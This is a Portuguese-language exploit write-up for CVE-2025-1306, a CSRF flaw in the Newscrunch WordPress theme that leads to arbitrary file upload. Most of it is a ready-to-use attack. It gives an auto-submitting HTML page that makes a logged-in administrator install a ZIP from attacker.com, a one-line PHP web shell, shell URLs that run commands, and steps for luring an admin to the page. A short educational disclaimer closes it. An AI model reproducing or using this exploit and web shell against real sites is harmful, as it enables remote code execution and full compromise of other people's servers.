Exploit do Newscrunch (CVE-2025-1306)

🚨 Visão Geral

Este exploit tem como alvo uma vulnerabilidade de Cross-Site Request Forgery (CSRF) para Upload Arbitrário de Arquivos (CVE-2025-1306) no tema Newscrunch para WordPress. Devido à falta de validação de nonce na função newscrunch_install_and_activate_plugin(), um atacante não autenticado pode enganar um administrador logado para fazer upload de arquivos arbitrários no servidor, levando à Execução Remota de Código (RCE).

🔥 Detalhes da Vulnerabilidade

ID do CVE: CVE-2025-1306
Software Afetado: Tema Newscrunch WordPress (<= 1.8.4)
Classificação CWE: CWE-352 - Cross-Site Request Forgery (CSRF)
Pontuação CVSS: 8.8 (ALTA)
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Data de Publicação: 4 de março de 2025

🛑 Gravidade e Impacto

✅ Execução Remota de Código (RCE)
✅ Comprometimento Total do Sistema
✅ Upload Arbitrário de Arquivos Baseado em CSRF
✅ Vetor de Ataque Não Autenticado

Explorabilidade: Requer que um administrador visite um link malicioso criado.

📜 Código do Exploit

Este exploit força um administrador autenticado a executar um ataque CSRF que faz upload de um arquivo ZIP malicioso contendo um web shell.

🔹 PoC - Exploit HTML

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
    <h2>Click anywhere to load content...</h2>

    <script>
        function sendExploit() {
            var form = document.createElement("form");
            form.method = "POST";
            form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "plugin_url";
            input.value = "http://attacker.com/shell.zip";

            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

        
        window.onload = function() {
            sendExploit();
        };
    </script>
</body>
</html>

📌 Substitua:

http://target.com/ pelo site WordPress vulnerável
http://attacker.com/shell.zip por um payload ZIP malicioso contendo um web shell.

🔹 Exemplo de Shell PHP Malicioso

<?php system($_GET['cmd']); ?>

📌 Após exploração bem-sucedida, acesse o shell:

http://target.com/wp-content/plugins/shell.php?cmd=whoami

🚀 Como Usar

Hospede o arquivo HTML em um site controlado pelo atacante.
Envie o link malicioso para um administrador WordPress autenticado.
Assim que o administrador visitar a página, o shell é enviado automaticamente.

Execute comandos remotamente usando:

http://target.com/wp-content/plugins/shell.php?cmd=ls

⚠️ Aviso Legal

Esta ferramenta é apenas para fins educacionais e de pesquisa em segurança. A exploração não autorizada de vulnerabilidades é ilegal e punível por lei. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta ferramenta. Use com responsabilidade.

CVE-2025-1306

Mais Populares